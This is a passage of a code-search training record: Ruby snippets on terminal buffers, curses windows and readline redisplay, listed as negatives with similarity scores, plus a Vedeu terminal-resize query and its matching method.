"def add_to_buffer( event )\n str = event.instance_of?(::Logging::LogEvent) ?\n layout.format(event) : event.to_s\n return if str.empty?\n\n buffer << str\n flush if buffer.length >= auto_flushing || immediate?(event)\n\n self\n end",
"def <<(buf)\n Polyphony.backend_write(self, buf)\n self\n end",
"def write_view_definition(stream, table_schema, table_name, view_definition)\n stream << \" create_view \\\"#{table_schema}.#{table_name}\\\", <<-SQL\\n\" \\\n \" #{view_definition}\\n\" \\\n \" SQL\\n\"\n end",
"def draw\n @screen.insert(@frame, 0, 0)\n @screen.draw(0, 0, 0)\n end",
"def buffer\n @session.request(:vim_get_current_buffer).tap do |buf|\n buf.range = @range\n end\n end",
"def flush_buffer; self.input_buffer = \"AAAA\"; end",
"def render(view, locals, buffer=nil, &block)\n mod = view.is_a?(Deface.template_class) ? Deface.template_class : view.singleton_class\n\n if @compiled && !mod.instance_methods.include?(method_name.to_sym)\n @compiled = false\n @source = refresh(view).source\n end\n buffer.nil? ? super(view, locals, buffer, &block) : super(view, locals, **buffer, &block)\n end",
"def with_output_buffer(buf = T.unsafe(nil)); end",
"def refresh()\n\t\[email protected] \"refresh\"\n\tend",
"def window_update(views)\n @data = []\n if views != nil\n for view in views\n if view != nil\n @data.push(view)\n end\n end\n @item_max = @data.size\n create_contents()\n @viewsList.clear()\n for i in 0..@item_max-1\n @viewsList.push(create_item(i))\n end\n end\n refresh()\n end",
"def window_update(views)\n @data = []\n if views != nil\n for view in views\n if view != nil\n @data.push(view)\n end\n end\n @item_max = @data.size\n create_contents()\n @viewsList.clear()\n for i in 0..@item_max-1\n @viewsList.push(create_item(i))\n end\n end\n refresh()\n end",
"def buffer(buf_width = width, buf_height = height, renderer = @render_mode)\n create_graphics(buf_width, buf_height, renderer).tap do |buffer|\n buffer.begin_draw\n yield buffer\n buffer.end_draw\n end\n end",
"def view\n @board.each { |row| puts row.join('') }\n end",
"def with_output_buffer(buf = '')\n @_out_buf, old_buffer = buf, @_out_buf\n yield\n @_out_buf\n ensure\n @_out_buf = old_buffer\n end",
"def draw\n @game.state.views.each do |view|\n view.draw\n end\n end",
"def eol_preview # :nologin: :norobots:\n @timer_start = Time.now\n eol_data(['unvetted', 'vetted'])\n @timer_end = Time.now\n end",
"def write\n Vedeu::Output.render(rendered)\n end",
"def refresh\n @window.resize(height, width)\n @window.move(top, left)\n @window.clear\n @window.bkgd(1) # even background hack\n buffer_content if @content.is_a?(Proc)\n print_buffer\n draw_border\n @window.noutrefresh\n visible_children.each(&:refresh)\n end",
"def redo buffer\n @frames[buffer].redo buffer\n end",
"def print_to_output_buffer(response, output_buffer)\n return if output_buffer.closed?\n output_buffer << response\n output_buffer.close\nend",
"def push_write_buffer data, frame\n @write_mutex.synchronize {\n update_last_write_activity if @write_buffer.empty?\n @write_buffer << [data, frame] unless @closing\n }\n end",
"def show\n super\n\n Vedeu.buffers.by_name(name).show\n end",
"def write(buf, *args)\n Polyphony.backend_write(self, buf, *args)\n end",
"def syscall_write\n buffer = \"\"\n addr = vm.read_mem(vm.read_reg(:sp) + 1)\n vm.read_mem(vm.read_reg(:sp) + 2).times do |i|\n buffer << vm.read_mem(addr + i).chr\n end\n print buffer\n end",
"def copy_vassal_view(view)\n # Copy this view to a new one. Both views needs to point to the same\n # buffer.\n new_view = CSTE::View.new(\n view.buffer, view.init_col, view.init_line, view.cols, view.lines)\n\n # This container is the lord of those views.\n view.lord = self\n new_view.lord = self\n\n return new_view\n end",
"def swithOverwrite buffer\n @frames[buffer].switchOverWrite\n end",
"def message_buffer=(buffer)\n @message_buffer = buffer\n @interaction_highline = nil\n end",
"def flush\n out = @buffer\n @buffer = ''\n out\n end",
"def update(context = self)\n # FIXME: log context\n @do_refresh = true\n @ctrl.commands << :render unless @paste_mode\n end",
"def clear_buffer!\n @out_mutex.synchronize do\n @buffer.clear\n end\n end",
"def views(stream)\n # Don't create \"system\" views.\n view_names = PgSaurus::Tools.views\n view_names.each do |options|\n write_view_definition(stream,\n options[\"table_schema\"],\n options[\"table_name\"],\n options[\"view_definition\"])\n end\n stream << \"\\n\"\n end",
"def out_buffers; @out_buffers; end",
"def refresh\r\n @view.refresh\r\n end",
"def yank buffer\n @frames[buffer].switchOverWrite if overwrite = @frames[buffer].isOverWrite?\n @frames[buffer].fillBuffer buffer, @killRing[0]\n @frames[buffer].switchOverWrite if overwrite\n @frames[buffer].updateLastCmd \"Yank\"\n end",
"def by_name\n Vedeu.log(type: :cursor,\n message: \"Refreshing cursor: (#{cursor.inspect})\")\n\n render\n\n Vedeu.trigger(:_refresh_view_content_, name) if refresh_view?\n end",
"def write(msg)\n prep_write\n puts \"#-------> @[ #{@file_handle.pos} ] B[ #{@buffer_size} ] in #{@complete_path} <---------#\\n#{msg}\" if verbose\n add_to_buffer(msg)\n flush_if_buffer_full\n end",
"def clear_buffer\n @buffer.clear\n end",
"def update_view_stats\n return unless respond_to?(:num_views=) || respond_to?(:last_view=)\n\n @old_num_views = num_views\n @old_last_view = last_view\n self.class.record_timestamps = false\n self.num_views = (num_views || 0) + 1 if respond_to?(:num_views=)\n self.last_view = Time.zone.now if respond_to?(:last_view=)\n save_without_our_callbacks\n self.class.record_timestamps = true\n end",
"def close_and_write_buffer\n nested_buffer = @out\n @out = @out_buffers.pop\n @out << nested_buffer\n end",
"def draw\n calculateStartrow\n calculateStartcol\n\n theme_ui = Rim::Paint.theme[:ui]\n plain = Rim::Paint.theme[:plain]\n str = ''\n\n row = @row\n # lines array index in buffer\n line = @start_row\n buffer_size = @buffer.lines.size\n until row > endRow do\n str << T.default << theme_ui[:pane]\n # set the curser with the row\n str << T::cursor(row, @col)\n # fill gaps and reset for other\n # str << (@width < 5 ? '@' : ' ') * width\n str << ' ' * @width\n str << T::cursor(row, @col)\n # pane separator if\n str << theme_ui[:pane_sep] << theme_ui[:pane_sep_char]\\\n << T.default if @separator\n\n # paint the content only if there's room\n if @width >= 5\n # if more line in buffer and\n # save space for the bottom status line\n if line < buffer_size && row < endRow\n # if line numbers enabled\n if $numbers\n display_line = (line + 1).to_s\n str << T.default << theme_ui[:pane_numbers]\n\n str << ' ' * ($numbers_min_space +\n (buffer_size.to_s.length - display_line.length)) \\\n << display_line << ' ' # number and end space\n\n str << T.default\n end\n # == paint lines ==\n # calculate space left for content\n max_line_length = 0\n max_line_length += $numbers_min_space + 1 if $numbers # spaces\n max_line_length += buffer_size.to_s.length if $numbers# numbers\n max_line_length = @width - max_line_length + sep_width\n\n # we need :to_do syntax highlighting next\n # like add attributes at row:col in Buffer\n # process by colums\n str << plain[:line]\n str << plain[:current_line] if @buffer.row == line + 1\n # replace tabs with spaces virtually\n buffer_line = @buffer.lines[line][@start_col..10**10]\n if buffer_line == nil\n buffer_line = ''\n end\n buffer_line = buffer_line\n buffer_line[0..max_line_length].chars.each_with_index do |char, col|\n # insert syntax attributes here for a todo\n str << char\n end\n str << ' ' * (max_line_length - buffer_line.length) if buffer_line.size < max_line_length\n elsif row < endRow\n str << T.default << theme_ui[:pane]\n str << '~'\n elsif row == endRow\n str << Rim::Paint.theme[:status_line].call(self)\n end # line < buffer_size && row < endRow\n end # @width >= 5\n\n # next row\n row += 1\n line += 1\n end # until\n str << T.default\n if @focused && width >= 5\n # cursor row\n crow = @row + (@buffer.cursor_row - 1 - @start_row)\n ccol = @col - 1 + sep_width\n ccol += $numbers_min_space + buffer_size.to_s.length + 1 if $numbers\n ccol += @buffer.col + 1 - @start_col\n str << T.cursor(crow, ccol)\n elsif @focused && width < 5\n str << T.cursor(@row, @col)\n end\n return str\n end"
] | [
"0.5687408",
"0.5687408",
"0.5626912",
"0.5620277",
"0.5584487",
"0.5510782",
"0.5393719",
"0.532096",
"0.5275034",
"0.5275034",
"0.5241258",
"0.52340823",
"0.5227426",
"0.5196341",
"0.51800394",
"0.51716137",
"0.51673335",
"0.5157724",
"0.51544875",
"0.51432383",
"0.5142093",
"0.5139033",
"0.51345015",
"0.51052797",
"0.51002777",
"0.5070105",
"0.50546825",
"0.50495344",
"0.50490385",
"0.5029535",
"0.5029535",
"0.5020367",
"0.50162816",
"0.49770322",
"0.49730822",
"0.4964334",
"0.49615967",
"0.49377576",
"0.49376535",
"0.4931103",
"0.49244472",
"0.49165234",
"0.49165145",
"0.49105436",
"0.49060202",
"0.48998824",
"0.488974",
"0.48887193",
"0.48538157",
"0.485292",
"0.485292",
"0.4849507",
"0.48339862",
"0.48315388",
"0.48289737",
"0.48257285",
"0.4818457",
"0.4818457",
"0.48172545",
"0.47946158",
"0.47934613",
"0.47846803",
"0.47831684",
"0.47824878",
"0.47634345",
"0.47610047",
"0.47549546",
"0.47463667",
"0.47445396",
"0.47415575",
"0.470003",
"0.470003",
"0.4699935",
"0.46896517",
"0.4680015",
"0.467898",
"0.4670006",
"0.46679538",
"0.46661437",
"0.46657732",
"0.46522498",
"0.464975",
"0.46470743",
"0.46399522",
"0.4635588",
"0.46312845",
"0.46291226",
"0.4627016",
"0.46217608",
"0.46204576",
"0.46183187",
"0.46177712",
"0.461211",
"0.4606824",
"0.4596425",
"0.459136",
"0.45906907",
"0.45866618",
"0.4584429",
"0.45812577",
"0.45688552"
] | 0.0 | -1 |
When the terminal emit the 'SIGWINCH' signal, Vedeu can intercept this and attempt to redraw the current interface with varying degrees of success. Can also be used to simulate a terminal resize. | def resize
trigger(:_clear_)
trigger(:_refresh_)
true
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def track_resize\n @track_resize = true\n d = Terminal.dimensions\n\n @resize_thread = Thread.new {\n while @track_resize\n Terminal.reset!\n t = Terminal.dimensions\n\n if t != d && !shutdown?\n Terminal.resize!\n @on_resize.call if !!@on_resize\n end\n\n d = Terminal.dimensions\n sleep(RESIZE_TIME)\n end\n }\n end",
"def _rl_redisplay_after_sigwinch()\r\n # Clear the current line and put the cursor at column 0. Make sure\r\n # the right thing happens if we have wrapped to a new screen line.\r\n if @_rl_term_cr\r\n @rl_outstream.write(@_rl_term_cr)\r\n @_rl_last_c_pos = 0\r\n if @_rl_term_clreol\r\n @rl_outstream.write(@_rl_term_clreol)\r\n else\r\n space_to_eol(@_rl_screenwidth)\r\n @rl_outstream.write(@_rl_term_cr)\r\n end\r\n\r\n if @_rl_last_v_pos > 0\r\n _rl_move_vert(0)\r\n end\r\n else\r\n rl_crlf()\r\n end\r\n\r\n # Redraw only the last line of a multi-line prompt.\r\n t = @rl_display_prompt.index(\"\\n\")\r\n if t\r\n redraw_prompt(@rl_display_prompt[(t+1)..-1])\r\n else\r\n rl_forced_update_display()\r\n end\r\n end",
"def mvderwin(y, x)\n Ncurses.mvderwin(pointer, y, x)\n end",
"def setup_main_window\n main_window = Curses::Window.new(48, 60, 0, 0)\n main_window.attron(Curses.color_pair(8))\n main_window.box('|', '-')\n main_window.noutrefresh\n main_window\nend",
"def tick\n unless @queue.empty?\n @queue.shift.call\n else\n unless (c = FFI::NCurses.getch) == FFI::NCurses::ERR\n @controller.handle_char(c)\n else\n sleep(0.1)\n end\n end\n h, w = FFI::NCurses.getmaxyx(FFI::NCurses.stdscr)\n @controller.size(w,h)\n @controller.draw\n end",
"def mvwin(y, x)\n Ncurses.mvwin(pointer, y, x)\n end",
"def do_window_adjust(bytes); end",
"def derwin(lines, cols, begin_y, begin_x)\n Ncurses.derwin(pointer, lines, cols, begin_y, begin_x)\n end",
"def wrefresh\n Ncurses.wrefresh(@window)\n end",
"def redraw\n @terminal.erase_screen\n render\n end",
"def getch\n #c = @window.getch\n #FFI::NCurses::nodelay(@window, true)\n #FFI::NCurses::wtimeout(@window, 0)\n #$log.debug \" #{Time.now.to_f} inside MAIN before getch \" \n c = FFI::NCurses.wgetch(@window)\n # the only reason i am doing this is so ESC can be returned if no key is pressed\n # after that, not sure how this effects everything. most likely I should just\n # go back to using a wtimeout, and not worry about resize requiring a keystroke\n if c == 27\n $escstart = Time.now.to_f\n # if ESC pressed don't wait too long for next key\n Ncurses::wtimeout(@window, $ncurses_timeout || 500) # will wait n millisecond on wgetch so that we can return if no\n else\n FFI::NCurses.set_escdelay(100)\n # this means keep waiting for a key.\n Ncurses::nowtimeout(@window, true)\n end\n c\n\n rescue SystemExit, Interrupt \n #FFI::NCurses.flushinp\n 3 # is C-c\n rescue StandardError\n -1 # is C-c\n ensure\n # whatever the default is, is to be set here in case caller changed it.\n #FFI::NCurses::nodelay(@window, true)\n end",
"def wrefresh\n FFI::NCurses.wrefresh(@pointer)\n end",
"def exp_window_update(exp)\n @victory_main.redraw_exp(exp)\n create_leveled_windows\n pack_and_send\n end",
"def window_update(oline)\n if oline != nil\n #text = \"\"\n @last_color = 0\n @contents_x = 0\n @contents_y = 0\n @biggest_text_height = 0\n @cControlsList.clear()\n for l in oline\n next if l == nil\n converted_line = convert_special_characters(l)\n generate_controls(converted_line)\n new_line\n end\n\n # Changes contents size for scrolling\n self.contents.dispose\n self.contents = Bitmap.new(self.width - 32, [self.height - 32, @contents_y].max)\n self.oy = 0\n end\n \n refresh()\n end",
"def resize(ht = 0, w = 0)\n # update sheight and swidth even if reduced, so that pad doesn't overwrite.\n @sheight = ht if ht > 0\n @swidth = w if w > 0\n return if ht < @padheight and w < @padwidth\n @padheight = ht if ht > @padheight\n @padwidth = w if w > @padwidth\n destroy\n $log.debug \" L502 resize, creating newpad with #{@padheight} and #{@padwidth} \"\n @window = Ncurses.newpad(@padheight, @padwidth)\n $log.debug \" L502 resize created #{@window} \"\n return @window\n end",
"def ui_refresh\n\t\t\t\tCurses.refresh\n\t\t\tend",
"def start\n\t\t\t@bars = [].freeze\n\n\t\t\tNcurses.initscr\n\t\t\tNcurses.curs_set(0)\n\t\t\tNcurses.start_color\n\n\t\t\t(0..7).each { |color_number| Ncurses.init_pair(color_number, color_number, Ncurses::COLOR_BLACK); }\n\n\t\t\t@bars_window = Ncurses::WINDOW.new(1, 0, Ncurses.LINES-1, 0)\n\t\t\t@log_window = Ncurses::WINDOW.new(Ncurses.LINES-1, 0, 0, 0)\n\t\t\t@log_window.scrollok(true)\n\n\t\t\ttrap(\"SIGWINCH\") do\n\t\t\t\tNcurses.endwin\n\t\t\t\tNcurses.refresh\n\n\t\t\t\trefresh_window_positions\n\n\t\t\t\[email protected] do |bar|\n\t\t\t\t\tbar.width = @bars_window.getmaxx\n\t\t\t\t\tbar.show\n\t\t\t\tend\n\t\t\tend\n\t\tend",
"def update_local_window_size(size); end",
"def unbind_resize_child_windows\n API.unbind \"\\\\\", @mash\nend",
"def listen\n # if the user resizes the screen we redraw it to fit the new dimensions\n Console.set_console_resized_hook! do\n draw\n end\n\n # create an interaction object to handle user input\n interaction = Interaction.new\n\n # call draw here because interaction blocks until it gets input\n draw\n\n # loop over user input (individual keypresses)\n interaction.loop do |key|\n @last_key = key\n if key == \"q\" then\n interaction.quit!\n end\n draw\n end\n end",
"def run\n Signal.trap('EXIT') do\n reset_terminal\n exit\n end\n Signal.trap('WINCH') do\n screen_settings\n redraw\n place_cursor\n end\n\n setup_terminal\n config_read\n parse_ls_colors\n set_bookmark '0'\n\n redraw true\n place_cursor\n\n # do we need this, have they changed after redraw XXX\n @patt = nil\n @sta = 0\n\n # forever loop that prints dir and takes a key\n loop do\n key = get_char\n\n unless resolve_key key # key did not map to file name, so don't redraw\n place_cursor\n next\n end\n\n break if @quitting\n\n next if only_cursor_moved?\n\n next unless @redraw_required # no change, or ignored key\n\n redraw rescan?\n place_cursor\n\n end\n write_curdir\n puts 'bye'\n config_write if @writing\n @log&.close\nend",
"def refresh_command(resize)\n if resize\n self.height = [self.height, row_max * WLH + 32].max\n end\n create_contents\n refresh\n end",
"def intrflush(bool = false)\n Ncurses.intrflush(pointer, bool ? 1 : 0)\n end",
"def handle_fell_off_screen\n end",
"def handle_key(ch)\n # 2014-08-19 - 21:10 moving to init, so that user may override or remove\n #map_keys unless @keys_mapped\n handled = :UNHANDLED # 2011-10-4 \n if ch == ?\\C-u.getbyte(0)\n ret = universal_argument\n $log.debug \"C-u FORM set MULT to #{$multiplier}, ret = #{ret} \"\n return 0 if ret == 0\n ch = ret # unhandled char\n elsif ch >= ?\\M-1.getbyte(0) && ch <= ?\\M-9.getbyte(0)\n if $catch_alt_digits # emacs EMACS\n ret = digit_argument ch\n $log.debug \" FORM set MULT DA to #{$multiplier}, ret = #{ret} \"\n return 0 if ret == 0 # don't see this happening\n ch = ret # unhandled char\n end\n end\n\n $current_key = ch\n case ch\n when -1\n return\n when 1000, 12\n # NOTE this works if widgets cover entire screen like text areas and lists but not in \n # dialogs where there is blank space. only widgets are painted.\n # testing out 12 is C-l\n $log.debug \" form REFRESH_ALL repaint_all HK #{ch} #{self}, #{@name} \"\n repaint_all_widgets\n return\n when FFI::NCurses::KEY_RESIZE # SIGWINCH \n # note that in windows that have dialogs or text painted on window such as title or \n # box, the clear call will clear it out. these are not redrawn.\n lines = Ncurses.LINES\n cols = Ncurses.COLS\n x = Ncurses.stdscr.getmaxy\n y = Ncurses.stdscr.getmaxx\n $log.debug \" form RESIZE HK #{ch} #{self}, #{@name}, #{ch}, x #{x} y #{y} lines #{lines} , cols: #{cols} \"\n #alert \"SIGWINCH WE NEED TO RECALC AND REPAINT resize #{lines}, #{cols}: #{x}, #{y} \"\n\n # next line may be causing flicker, can we do without.\n Ncurses.endwin\n @window.wrefresh\n @window.wclear\n if @layout_manager\n @layout_manager.do_layout\n # we need to redo statusline and others that layout ignores\n else\n @widgets.each { |e| e.repaint_all(true) } # trying out\n end\n ## added RESIZE on 2012-01-5 \n ## stuff that relies on last line such as statusline dock etc will need to be redrawn.\n fire_handler :RESIZE, self \n else\n field = get_current_field\n if $log.debug?\n keycode = keycode_tos(ch)\n $log.debug \" form HK #{ch} #{self}, #{@name}, #{keycode}, field: giving to: #{field}, #{field.name} \" if field\n end\n handled = :UNHANDLED \n handled = field.handle_key ch unless field.nil? # no field focussable\n $log.debug \"handled inside Form #{ch} from #{field} got #{handled} \"\n # some widgets like textarea and list handle up and down\n if handled == :UNHANDLED or handled == -1 or field.nil?\n case ch\n when KEY_TAB, ?\\M-\\C-i.getbyte(0) # tab and M-tab in case widget eats tab (such as Table)\n ret = select_next_field\n return ret if ret == :NO_NEXT_FIELD\n # alt-shift-tab or backtab (in case Table eats backtab)\n when FFI::NCurses::KEY_BTAB, 481 ## backtab added 2008-12-14 18:41 \n ret = select_prev_field\n return ret if ret == :NO_PREV_FIELD\n when FFI::NCurses::KEY_UP\n ret = select_prev_field\n return ret if ret == :NO_PREV_FIELD\n when FFI::NCurses::KEY_DOWN\n ret = select_next_field\n return ret if ret == :NO_NEXT_FIELD\n else\n #$log.debug \" before calling process_key in form #{ch} \" if $log.debug? \n ret = process_key ch, self\n # seems we need to flushinp in case composite has pushed key\n $log.debug \"FORM process_key #{ch} got ret #{ret} in #{self}, flushing input \"\n # 2014-06-01 - 17:01 added flush, maybe at some point we could do it only if unhandled\n # in case some method wishes to actually push some keys\n Ncurses.flushinp\n return :UNHANDLED if ret == :UNHANDLED\n end\n elsif handled == :NO_NEXT_FIELD || handled == :NO_PREV_FIELD # 2011-10-4 \n return handled\n end\n end\n $log.debug \" form before repaint #{self} , #{@name}, ret #{ret}\"\n repaint\n $last_key = ch\n ret || 0 # 2011-10-17 \n end",
"def update_gui\n unless app.disposed?\n app.flush\n app.real.redraw\n end\n end",
"def reset_screen\n print \"\\e[2J\\e[H\"\nend",
"def winsize; IO.console.winsize end",
"def draw_win\n draw_quad( 0, 0, WTOP_COLOR,\n @width, 0, WTOP_COLOR,\n 0, @height, WBOTTOM_COLOR,\n @width, @height, WBOTTOM_COLOR,\n -1 )\n @endFont.draw(\"You win!\", @width/2 - 150, @height/2, 0, 4, 4, 0xFFFFFFFF)\n end",
"def resize new_width, new_height\n win.resize new_width, new_height\n end",
"def onsig(sig)\n close_screen\n @exit = true\n end",
"def win\n end",
"def win\n end",
"def resize\n # We need to nuke ncurses to pick up the new dimensions\n Curses.def_prog_mode\n Curses.close_screen\n Curses.reset_prog_mode\n height, width = Curses.dimensions\n \n # Resize tabs \n @tabs.resize(\n :width => width,\n :height => height\n )\n @tabs.render\n end",
"def send_window_adjust( size )\n msg = @buffers.writer\n msg.write_byte CHANNEL_WINDOW_ADJUST\n msg.write_long @remote_id\n msg.write_long size\n @connection.send_message msg\n end",
"def curses_menu_finalize\n @screenshot = capture_screenshot\n super\n end",
"def refresh\n @window.resize(height, width)\n @window.move(top, left)\n @window.clear\n @window.bkgd(1) # even background hack\n buffer_content if @content.is_a?(Proc)\n print_buffer\n draw_border\n @window.noutrefresh\n visible_children.each(&:refresh)\n end",
"def wait_internal\n Graphics.update\n Input.update\n if Input.triggerex?(0x43) && Input.triggerex?(0x11) # CTRL + C\n raise ConsoleInterrupt\n end\n end",
"def reset\n @victory = false\n @win = false\n drawFromPixmap\n end",
"def flush_input\n Ncurses.flushinp\n end",
"def wsyncup\n Ncurses.wsyncup(pointer)\n end",
"def linger caller_window=nil\n begin\n if caller_window\n ch = @win.getchar\n caller_window.ungetch(ch) # will this be available to underlying window XXX i think not !!\n else\n sleep 1\n end\n ensure\n destroy\n end\n end",
"def repaint\n return unless @repaint_required\n \n # 2014-08-10 - 14:53 changing bgcolor or color resets color_pair, so this must be reset if nil\n @color_pair ||= get_color $bottomcolor, @color, @bgcolor\n #print_header(htext, posy = 0, posx = 0)\n att = get_attrib @attr\n len = @window.width\n len = Ncurses.COLS-0 if len == 0\n # print a bar across the screen \n @window.attron(Ncurses.COLOR_PAIR(@color_pair) | att)\n # 2016-01-13 - changed since \"1\" was giving problems in mvhline in some cases\n #@window.mvhline(@row, @col, 1, len)\n @window.mvhline(@row, @col, @space_char, len)\n @window.attroff(Ncurses.COLOR_PAIR(@color_pair) | att)\n #print_header(@text1 + \" %15s \" % @text2 + \" %20s\" % @text_center , posy=0, posx=0)\n\n # Now print the text in the correct positions with no padding, else some terminal\n # will blacken the text out.\n print_header(\"#{@text1} #{@text2}\") # + \" %20s\" % @text_center , posy=0, posx=0)\n print_center(\"#{@text_center}\") # + \" %20s\" % @text_center , posy=0, posx=0)\n print_top_right(@text_right)\n @repaint_required = false\n end",
"def win_width\n Curses.cols - win_padding\n end",
"def minimize_window(win)\n # noop\n end",
"def clearScreen\n puts \"\\e[H\\e[2J\"\nend",
"def init_curses\n # signal(SIGINT, finish)\n\n Curses.init_screen\n Curses.raw\n Curses.nonl\n #Curses.cbreak\n Curses.noecho\n Curses.curs_set(0)\n Curses.ESCDELAY = 10\n Curses.start_color\n Curses.init_pair(1, Curses::COLOR_WHITE, Curses::COLOR_BLUE);\n\n @screen = Curses.stdscr\n\n @screen.scrollok(true)\n @screen.keypad(true)\n end",
"def partial_reset_terminal\n # Reset the terminal to a useable state (undo all changes).\n # '\\e[?7h': Re-enable line wrapping.\n # '\\e[?25h': Unhide the cursor.\n # '\\e[2J': Clear the terminal.\n # '\\e[;r': Set the scroll region to its default value.\n # Also sets cursor to (0,0).\n # '\\e[?1049l: Restore main screen buffer.\n print \"\\e[?7h\\e[?25h\\e[;r\\e[?1049l\"\n\n # Show user input.\n system 'stty echo'\nend",
"def win; end",
"def rl_forced_update_display()\r\n if (@visible_line)\r\n @visible_line.gsub!(/[^\\x00]/,0.chr)\r\n end\r\n rl_on_new_line()\r\n @forced_display=true if !@forced_display\r\n send(@rl_redisplay_function)\r\n 0\r\n end",
"def size\n console.winsize\n end",
"def main_window\r\n super\r\n # Make command window\r\n s1 = \"To Title\"\r\n s2 = \"Shutdown\"\r\n s3 = \"Cancel\"\r\n @command_window = Window_Command.new(192, [s1, s2, s3])\r\n @command_window.x = 320 - @command_window.width / 2\r\n @command_window.y = 240 - @command_window.height / 2\r\n end",
"def update_line(old, ostart, new, current_line, omax, nmax, inv_botlin)\r\n # If we're at the right edge of a terminal that supports xn, we're\r\n # ready to wrap around, so do so. This fixes problems with knowing\r\n # the exact cursor position and cut-and-paste with certain terminal\r\n # emulators. In this calculation, TEMP is the physical screen\r\n # position of the cursor.\r\n if @encoding == 'X'\r\n old.force_encoding('ASCII-8BIT')\r\n new.force_encoding('ASCII-8BIT')\r\n end\r\n\r\n if !@rl_byte_oriented\r\n temp = @_rl_last_c_pos\r\n else\r\n temp = @_rl_last_c_pos - w_offset(@_rl_last_v_pos, @visible_wrap_offset)\r\n end\r\n if (temp == @_rl_screenwidth && @_rl_term_autowrap && !@_rl_horizontal_scroll_mode &&\r\n @_rl_last_v_pos == current_line - 1)\r\n\r\n if (!@rl_byte_oriented)\r\n # This fixes only double-column characters, but if the wrapped\r\n # character comsumes more than three columns, spaces will be\r\n # inserted in the string buffer.\r\n if (@_rl_wrapped_line[current_line] > 0)\r\n _rl_clear_to_eol(@_rl_wrapped_line[current_line])\r\n end\r\n\r\n if new[0,1] != 0.chr\r\n case @encoding\r\n when 'E'\r\n wc = new.scan(/./me)[0]\r\n ret = wc.length\r\n tempwidth = wc.length\r\n when 'S'\r\n wc = new.scan(/./ms)[0]\r\n ret = wc.length\r\n tempwidth = wc.length\r\n when 'U'\r\n wc = new.scan(/./mu)[0]\r\n ret = wc.length\r\n tempwidth = wc.unpack('U').first >= 0x1000 ? 2 : 1\r\n when 'X'\r\n wc = new[0..-1].force_encoding(@encoding_name)[0]\r\n ret = wc.bytesize\r\n tempwidth = wc.ord >= 0x1000 ? 2 : 1\r\n else\r\n ret = 1\r\n tempwidth = 1\r\n end\r\n else\r\n tempwidth = 0\r\n end\r\n\r\n if (tempwidth > 0)\r\n bytes = ret\r\n @rl_outstream.write(new[0,bytes])\r\n @_rl_last_c_pos = tempwidth\r\n @_rl_last_v_pos+=1\r\n\r\n if old[ostart,1] != 0.chr\r\n case @encoding\r\n when 'E'\r\n wc = old[ostart..-1].scan(/./me)[0]\r\n ret = wc.length\r\n when 'S'\r\n wc = old[ostart..-1].scan(/./ms)[0]\r\n ret = wc.length\r\n when 'U'\r\n wc = old[ostart..-1].scan(/./mu)[0]\r\n ret = wc.length\r\n when 'X'\r\n wc = old[ostart..-1].force_encoding(@encoding_name)[0]\r\n ret = wc.bytesize\r\n end\r\n else\r\n ret = 0\r\n end\r\n if (ret != 0 && bytes != 0)\r\n if ret != bytes\r\n len = old[ostart..-1].index(0.chr,ret)\r\n old[ostart+bytes,len-ret] = old[ostart+ret,len-ret]\r\n end\r\n old[ostart,bytes] = new[0,bytes]\r\n end\r\n else\r\n @rl_outstream.write(' ')\r\n @_rl_last_c_pos = 1\r\n @_rl_last_v_pos+=1\r\n if (old[ostart,1] != 0.chr && new[0,1] != 0.chr)\r\n old[ostart,1] = new[0,1]\r\n end\r\n end\r\n\r\n else\r\n if (new[0,1] != 0.chr)\r\n @rl_outstream.write(new[0,1])\r\n else\r\n @rl_outstream.write(' ')\r\n end\r\n @_rl_last_c_pos = 1\r\n @_rl_last_v_pos+=1\r\n if (old[ostart,1] != 0.chr && new[0,1] != 0.chr)\r\n old[ostart,1] = new[0,1]\r\n end\r\n end\r\n end\r\n\r\n # Find first difference.\r\n if (!@rl_byte_oriented)\r\n # See if the old line is a subset of the new line, so that the\r\n # only change is adding characters.\r\n temp = (omax < nmax) ? omax : nmax\r\n if old[ostart,temp]==new[0,temp]\r\n ofd = temp\r\n nfd = temp\r\n else\r\n if (omax == nmax && new[0,omax]==old[ostart,omax])\r\n ofd = omax\r\n nfd = nmax\r\n else\r\n new_offset = 0\r\n old_offset = ostart\r\n ofd = 0\r\n nfd = 0\r\n while(ofd < omax && old[ostart+ofd,1] != 0.chr &&\r\n _rl_compare_chars(old, old_offset, new, new_offset))\r\n\r\n old_offset = _rl_find_next_mbchar(old, old_offset, 1, MB_FIND_ANY)\r\n new_offset = _rl_find_next_mbchar(new, new_offset, 1, MB_FIND_ANY)\r\n ofd = old_offset - ostart\r\n nfd = new_offset\r\n end\r\n end\r\n end\r\n else\r\n ofd = 0\r\n nfd = 0\r\n while(ofd < omax && old[ostart+ofd,1] != 0.chr && old[ostart+ofd,1] == new[nfd,1])\r\n ofd += 1\r\n nfd += 1\r\n end\r\n end\r\n\r\n\r\n # Move to the end of the screen line. ND and OD are used to keep track\r\n # of the distance between ne and new and oe and old, respectively, to\r\n # move a subtraction out of each loop.\r\n oe = old.index(0.chr,ostart+ofd) - ostart\r\n if oe.nil? || oe>omax\r\n oe = omax\r\n end\r\n\r\n ne = new.index(0.chr,nfd)\r\n if ne.nil? || ne>omax\r\n ne = nmax\r\n end\r\n\r\n # If no difference, continue to next line.\r\n if (ofd == oe && nfd == ne)\r\n return\r\n end\r\n\r\n\r\n wsatend = true # flag for trailing whitespace\r\n\r\n if (!@rl_byte_oriented)\r\n\r\n ols = _rl_find_prev_mbchar(old, ostart+oe, MB_FIND_ANY) - ostart\r\n nls = _rl_find_prev_mbchar(new, ne, MB_FIND_ANY)\r\n while ((ols > ofd) && (nls > nfd))\r\n\r\n if (!_rl_compare_chars(old, ostart+ols, new, nls))\r\n break\r\n end\r\n if (old[ostart+ols,1] == \" \")\r\n wsatend = false\r\n end\r\n\r\n ols = _rl_find_prev_mbchar(old, ols+ostart, MB_FIND_ANY) - ostart\r\n nls = _rl_find_prev_mbchar(new, nls, MB_FIND_ANY)\r\n end\r\n else\r\n ols = oe - 1 # find last same\r\n nls = ne - 1\r\n while ((ols > ofd) && (nls > nfd) && old[ostart+ols,1] == new[nls,1])\r\n if (old[ostart+ols,1] != \" \")\r\n wsatend = false\r\n end\r\n ols-=1\r\n nls-=1\r\n end\r\n end\r\n\r\n if (wsatend)\r\n ols = oe\r\n nls = ne\r\n elsif (!_rl_compare_chars(old, ostart+ols, new, nls))\r\n if (old[ostart+ols,1] != 0.chr) # don't step past the NUL\r\n if !@rl_byte_oriented\r\n ols = _rl_find_next_mbchar(old, ostart+ols, 1, MB_FIND_ANY) 